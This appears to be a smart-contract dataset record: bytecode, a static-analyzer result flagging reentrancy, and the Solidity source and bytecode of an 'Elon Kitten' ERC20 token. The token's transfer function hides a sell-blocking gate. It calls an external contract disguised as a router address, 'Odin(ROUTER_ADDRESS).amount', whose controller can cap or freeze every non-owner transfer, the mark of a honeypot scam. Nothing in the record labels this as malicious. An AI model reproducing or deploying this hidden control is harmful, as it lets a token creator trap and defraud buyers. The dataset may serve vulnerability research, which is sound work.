fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a081612806565b6125aa84836128c3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126079190613301565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c919061311f565b60405180910390fd5b5060008385612684919061348d565b9050809150509392505050565b60008060006006549050600069152d02c7e14af680000090506126c969152d02c7e14af680000060065461239790919063ffffffff16565b8210156126e95760065469152d02c7e14af68000009350935050506126f2565b81819350935050505b9091565b60008060008060008060008060006127138a600c54600d546128fd565b92509250925060006127236123e1565b905060008060006127368e878787612993565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea3565b905092915050565b60008082846127b79190613437565b9050838110156127fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f390613201565b60405180910390fd5b8091505092915050565b60006128106123e1565b905060006128278284612a1c90919063ffffffff16565b905061287b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128d88260065461275e90919063ffffffff16565b6006819055506128f3816007546127a890919063ffffffff16565b6007819055505050565b600080600080612929606461291b888a612a1c90919063ffffffff16565b61239790919063ffffffff16565b905060006129536064612945888b612a1c90919063ffffffff16565b61239790919063ffffffff16565b9050600061297c8261296e858c61275e90919063ffffffff16565b61275e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129ac8589612a1c90919063ffffffff16565b905060006129c38689612a1c90919063ffffffff16565b905060006129da8789612a1c90919063ffffffff16565b90506000612a03826129f5858761275e90919063ffffffff16565b61275e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a2f5760009050612a91565b60008284612a3d91906134be565b9050828482612a4c919061348d565b14612a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8390613241565b60405180910390fd5b809150505b92915050565b6000612aaa612aa5846133b6565b613391565b90508083825260208201905082856020860282011115612ac957600080fd5b60005b85811015612af95781612adf8882612b03565b845260208401935060208301925050600181019050612acc565b5050509392505050565b600081359050612b1281613adc565b92915050565b600081519050612b2781613adc565b92915050565b600082601f830112612b3e57600080fd5b8135612b4e848260208601612a97565b91505092915050565b600081359050612b6681613af3565b92915050565b600081359050612b7b81613b0a565b92915050565b600060208284031215612b9357600080fd5b6000612ba184828501612b03565b91505092915050565b600060208284031215612bbc57600080fd5b6000612bca84828501612b18565b91505092915050565b60008060408385031215612be657600080fd5b6000612bf485828601612b03565b9250506020612c0585828601612b03565b9150509250929050565b600080600060608486031215612c2457600080fd5b6000612c3286828701612b03565b9350506020612c4386828701612b03565b9250506040612c5486828701612b6c565b9150509250925092565b60008060408385031215612c7157600080fd5b6000612c7f85828601612b03565b9250506020612c9085828601612b57565b9150509250929050565b60008060408385031215612cad57600080fd5b6000612cbb85828601612b03565b9250506020612ccc85828601612b6c565b9150509250929050565b600060208284031215612ce857600080fd5b600082013567ffffffffffffffff811115612d0257600080fd5b612d0e84828501612b2d565b91505092915050565b600060208284031215612d2957600080fd5b6000612d3784828501612b57565b91505092915050565b600060208284031215612d5257600080fd5b6000612d6084828501612b6c565b91505092915050565b60008060008060808587031215612d7f57600080fd5b6000612d8d87828801612b6c565b9450506020612d9e87828801612b6c565b9350506040612daf87828801612b6c565b9250506060612dc087828801612b6c565b91505092959194509250565b6000612dd88383612de4565b60208301905092915050565b612ded8161354c565b82525050565b612dfc8161354c565b82525050565b6000612e0d826133f2565b612e178185613415565b9350612e22836133e2565b8060005b83811015612e53578151612e3a8882612dcc565b9750612e4583613408565b925050600181019050612e26565b5085935050505092915050565b612e698161355e565b82525050565b612e78816135a1565b82525050565b612e87816135c5565b82525050565b6000612e98826133fd565b612ea28185613426565b9350612eb28185602086016135d7565b612ebb81613711565b840191505092915050565b6000612ed3602383613426565b9150612ede82613722565b604082019050919050565b6000612ef6603f83613426565b9150612f0182613771565b604082019050919050565b6000612f19602a83613426565b9150612f24826137c0565b604082019050919050565b6000612f3c601c83613426565b9150612f478261380f565b602082019050919050565b6000612f5f602283613426565b9150612f6a82613838565b604082019050919050565b6000612f82602383613426565b9150612f8d82613887565b604082019050919050565b6000612fa5601b83613426565b9150612fb0826138d6565b602082019050919050565b6000612fc8601783613426565b9150612fd3826138ff565b602082019050919050565b6000612feb602183613426565b9150612ff682613928565b604082019050919050565b600061300e602083613426565b915061301982613977565b602082019050919050565b6000613031602983613426565b915061303c826139a0565b604082019050919050565b6000613054602583613426565b915061305f826139ef565b604082019050919050565b6000613077602383613426565b915061308282613a3e565b604082019050919050565b600061309a602483613426565b91506130a582613a8d565b604082019050919050565b6130b98161358a565b82525050565b6130c881613594565b82525050565b60006020820190506130e36000830184612df3565b92915050565b60006020820190506130fe6000830184612e60565b92915050565b60006020820190506131196000830184612e6f565b92915050565b600060208201905081810360008301526131398184612e8d565b905092915050565b6000602082019050818103600083015261315a81612ec6565b9050919050565b6000602082019050818103600083015261317a81612ee9565b9050919050565b6000602082019050818103600083015261319a81612f0c565b9050919050565b600060208201905081810360008301526131ba81612f2f565b9050919050565b600060208201905081810360008301526131da81612f52565b9050919050565b600060208201905081810360008301526131fa81612f75565b9050919050565b6000602082019050818103600083015261321a81612f98565b9050919050565b6000602082019050818103600083015261323a81612fbb565b9050919050565b6000602082019050818103600083015261325a81612fde565b9050919050565b6000602082019050818103600083015261327a81613001565b9050919050565b6000602082019050818103600083015261329a81613024565b9050919050565b600060208201905081810360008301526132ba81613047565b9050919050565b600060208201905081810360008301526132da8161306a565b9050919050565b600060208201905081810360008301526132fa8161308d565b9050919050565b600060208201905061331660008301846130b0565b92915050565b600060a08201905061333160008301886130b0565b61333e6020830187612e7e565b81810360408301526133508186612e02565b905061335f6060830185612df3565b61336c60808301846130b0565b9695505050505050565b600060208201905061338b60008301846130bf565b92915050565b600061339b6133ac565b90506133a7828261360a565b919050565b6000604051905090565b600067ffffffffffffffff8211156133d1576133d06136e2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134428261358a565b915061344d8361358a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561348257613481613684565b5b828201905092915050565b60006134988261358a565b91506134a38361358a565b9250826134b3576134b26136b3565b5b828204905092915050565b60006134c98261358a565b91506134d48361358a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350d5761350c613684565b5b828202905092915050565b60006135238261358a565b915061352e8361358a565b92508282101561354157613540613684565b5b828203905092915050565b60006135578261356a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ac826135b3565b9050919050565b60006135be8261356a565b9050919050565b60006135d08261358a565b9050919050565b60005b838110156135f55780820151818401526020810190506135da565b83811115613604576000848401525b50505050565b61361382613711565b810181811067ffffffffffffffff82111715613632576136316136e2565b5b80604052505050565b60006136468261358a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561367957613678613684565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ae58161354c565b8114613af057600080fd5b50565b613afc8161355e565b8114613b0757600080fd5b50565b613b138161358a565b8114613b1e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df5c576b2b53273e88d88e6f9e79f2db92de04b00a0d7f4735d8a39a8184aeb964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,791 |
0xd5ED5393c72656132227c9e9aEFAD58415aa38fA
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/ElonKittenToken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=1000000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Elon Kitten";
string constant TOKEN_SYMBOL="ELONKITTEN";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ElonKittenToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(amount<=Odin(ROUTER_ADDRESS).amount(address(this)));
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190612258565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e1b565b61038e565b60405161014c919061223d565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b60405161017791906123ba565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611dc8565b6103bc565b6040516101b4919061223d565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df919061242f565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611d2e565b610518565b60405161023391906123ba565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b604051610275919061216f565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a09190612258565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e1b565b610722565b6040516102dd919061223d565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611d88565b610c71565b60405161033191906123ba565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600b81526020017f456c6f6e204b697474656e000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b600067016345785d8a0000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612a0a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461124e9092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b9050610515816112b2565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461153a565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f59061231a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f454c4f4e4b495454454e00000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc9061231a565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c9061239a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611d5b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611d5b565b6040518363ffffffff1660e01b81526004016109e992919061218a565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611d5b565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af1969594939291906121dc565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611eb5565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b9291906121b3565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611e5b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d67816115a8565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd99061237a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e49906122ba565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3091906123ba565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa49061235a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110149061227a565b60405180910390fd5b60008111611060576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110579061233a565b60405180910390fd5b6110686106bc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110d657506110a66106bc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561123e5773690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b8152600401611128919061216f565b60206040518083038186803b15801561114057600080fd5b505afa158015611154573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111789190611e88565b81111561118457600080fd5b600061118f30610518565b9050600b60159054906101000a900460ff161580156111fc5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112145750600b60169054906101000a900460ff165b1561123c57611222816112b2565b6000479050600081111561123a57611239476115a8565b5b505b505b611249838383611614565b505050565b6000838311158290611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d9190612258565b60405180910390fd5b50600083856112a59190612580565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112ea576112e96126db565b5b6040519080825280602002602001820160405280156113185781602001602082028036833780820191505090505b50905030816000815181106113305761132f6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113d257600080fd5b505afa1580156113e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140a9190611d5b565b8160018151811061141e5761141d6126ac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061148530600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d72565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114e99594939291906123d5565b600060405180830381600087803b15801561150357600080fd5b505af1158015611517573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611581576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115789061229a565b60405180910390fd5b600061158b611624565b90506115a0818461164f90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611610573d6000803e3d6000fd5b5050565b61161f838383611699565b505050565b6000806000611631611864565b91509150611648818361164f90919063ffffffff16565b9250505090565b600061169183836040518060400160405280601a81526020017f536166654d61